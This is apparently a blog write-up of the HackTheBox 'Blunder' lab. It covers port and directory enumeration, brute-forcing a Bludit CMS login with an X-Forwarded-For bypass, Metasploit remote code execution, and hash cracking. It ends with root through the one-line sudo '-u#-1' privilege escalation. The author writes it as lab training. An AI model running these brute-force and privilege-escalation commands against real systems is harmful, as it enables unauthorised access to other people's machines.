Pentest

Blunder

linux cms sudo
HackTheBox

18 October 2020

Difficulty:

Intro :flashlight:

Blunder is quite an interesting box because it’s got a bit of “mindgames” in it, maybe it was just for me as this was one of my first boxes on htb. In the foothold stage, there was a step where you had to either guess, or just know what to look for since it’s a bit of a trend on easy boxes, for the user part it’s the usual scrounging for database passwords, there are screenshots involved here too, they were hinting at 2 different exploits, one of them being the way to root, and the other I’m guessing is a rabbit hole.

Initial Foothold :mag:

Start with putting 10.10.10.191 in /etc/hosts, then masscan.

masscan --rate=200 -e tun0 -p1-65535,U:1-65535 10.10.10.191 | tee masscan.out
Discovered open port 80/tcp on 10.10.10.

Just 1 port, let’s nmap it.

nmap -A -oA nmap -p80 10.10.10.191
...
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Full nmap output 
# Nmap 7.80 scan initiated Tue Aug 25 10:19:51 2020 as: nmap -A -oA nmap -p80 -sV 10.10.10.191
Nmap scan report for blunder.htb (10.10.10.191)
Host is up (0.40s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (90%), Crestron XPanel control system (89%), HP P2000 G3 NAS device (86%), ASUS RT-N56U WAP (Linux 3.4) (86%), Linux 3.1 (86%), Linux 3.16 (86%), Linux 3.2 (86%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (86%), Adtran 424RG FTTH gateway (85%), Linux 2.6.32 - 3.1 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   455.77 ms 10.10.14.1
2   450.05 ms blunder.htb (10.10.10.191)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug 25 10:20:25 2020 -- 1 IP address (1 host up) scanned in 34.62 seconds

Enumeration

We only have port 80 so let’s go there.

Looks like it’s just a static blog, the content is interestingly custom and not just some lorem ipsum placeholder text, so then I looked at the page source and found some includes.

After a little bit of googling what those “bl-themes” and “bl-kernel” things are, we found that it’s using a CMS called “Bludit” and we also got the version 3.9.2. Well let’s fuzz it then.

gobuster -t 10 dir -u http://10.10.10.191:80/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt | tee gobuster.out
Full gobuster output 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.191:80/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/10/18 15:42:47 Starting gobuster
===============================================================
/about (Status: 200)
/0 (Status: 200)
/admin (Status: 301)
/usb (Status: 200)
===============================================================
2020/10/18 15:59:18 Finished
===============================================================

Looks like there’s an admin panel at /admin, let’s see what it looks like.

Tried some common stuff like admin:admin but none worked.

Not much else other than it’s just a static blog with lots of words, so I just googled “bludit 3.9.2 exploit” and found out from this, there are 2 interesting CVEs for this version which are:

So since they look so hand in hand, I’ll try the login page bruteforce. Googled “CVE-2019-17240” hoping for a premade script (booo what a script kiddie) and I found this.

The way the bruteforce works, is that bludit only checks for IPs to block (based on failed login attempt count) using the X-Forwarded-For header, and it doesn’t even check if it’s a valid IP or not. So the way the script works is to just use the password being tried as the X-Forwarded-For header value, of course this can be any junk value instead as long as we keep it unique for every password tried. Now we can basically bruteforce the login page.

So I went and tried admin:rockyou and also ran cewl on the webpage, and then tried admin:cewl, and even cewl:cewl like this

for i in `cat cewlwl.txt`; do python3 brute.py -u http://10.10.10.191 -user $i -w cewlwl.txt; done

but none worked. So there has to be a custom username somewhere, and I started fuzzing.

This took a little while, until I tried the “.txt” extension. The thing is that there’s not really a hint to any txt files, but it’s quite common for easy rated boxes to have a txt file somewhere along the way.

gobuster -t 10 dir -u http://10.10.10.191:80/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x .txt | tee gobuster
Full gobuster output 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.191:80/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt
[+] Timeout:        10s
===============================================================
2020/08/25 14:40:14 Starting gobuster
===============================================================
/about (Status: 200)
/0 (Status: 200)
/admin (Status: 301)
/robots.txt (Status: 200)
/todo.txt (Status: 200)
/usb (Status: 200)

We got some new stuff here, robots.txt has nothing special in it so let’s see todo.txt.

Hopefully fergus has got an account on the admin panel.

python3 brute.py -u http://10.10.10.191 -user fergus -w ../cewlwl.txt

Thanks to fergus, now we have valid login on bludit admin panel: fergus:RolandDeschain. Now to try that authenticated RCE! The CVE page we found says that there’s an msf module for this, so let’s see.

There’s only one candidate so let’s try it out.

Very nice, we got a low priv shell.

User Own :heavy_dollar_sign:

Navigate around /home, we found 2 screenshots in /home/shaun/Pictures.

So it’s hinting at either a buffer overflow from hugo to root, or some kind of database config file belonging to Shaun Whorton. I fell in a rabbit hole here, I thought there was some stored passwords in mozilla’s keyring files belonging to shaun, but apparently not.

Navigate around /var/www we see 2 bludit versions.

Since the screenshot points to the 3.9.2 version let’s try looking there, but then I didn’t really find anything so I checked the 3.10.0a version and found a very nice and descriptive user entry.

Grab that hash, hash-identifier said it’s either “sha1(pass)” or “sha1(sha1(pass))”, a neat trick I recently found is to just google the hash.

Now we have hugo:Password120, I looked at at /etc/passwd and there is an entry for hugo, so let’s try becoming hugo.

Very nice, we got user.

Root Own :zap:

Now that we’re hugo, I’m curious about that buffer overflow screenshot, so I ran linpeas to find where that is.

Interesting linpeas outputs:

At first the bof exploit looks like it’s the way, but that outdated sudo version looks juicy too (and much simpler), so let’s try sudo -l.

We can sudo /bin/bash as anyone but root. This raised quite the alerts for me:

So I googled “privilege escalation (all, !root)” and found this, to my surprise I didn’t know that “sudo” itself can have CVEs too. Reading the exploit we see that it’s just a 1 line exploit.

sudo -u#-1 /bin/bash

The way this works it that it’s trying to pass UID value of -1 to the user (-u) option of sudo, but uid of -1 isn’t found, so the “UID changing” process failed, but sudo isn’t terminated, instead it kept going, so sudo will continue doing it’s job as if it has successfully changed the user’s UID, which is running the command being passed to it, which in this case is /bin/bash. The problem is that sudo is an SUID binary, which means it is run as the owner (which is root), and because the “UID change” has failed, it is now running as root, and that’s why we managed to run /bin/bash as root.

Also note that the hash symbol (#) is for comments in terminals, so we need to escape it. Other than that, we got root! :checkered_flag::checkered_flag: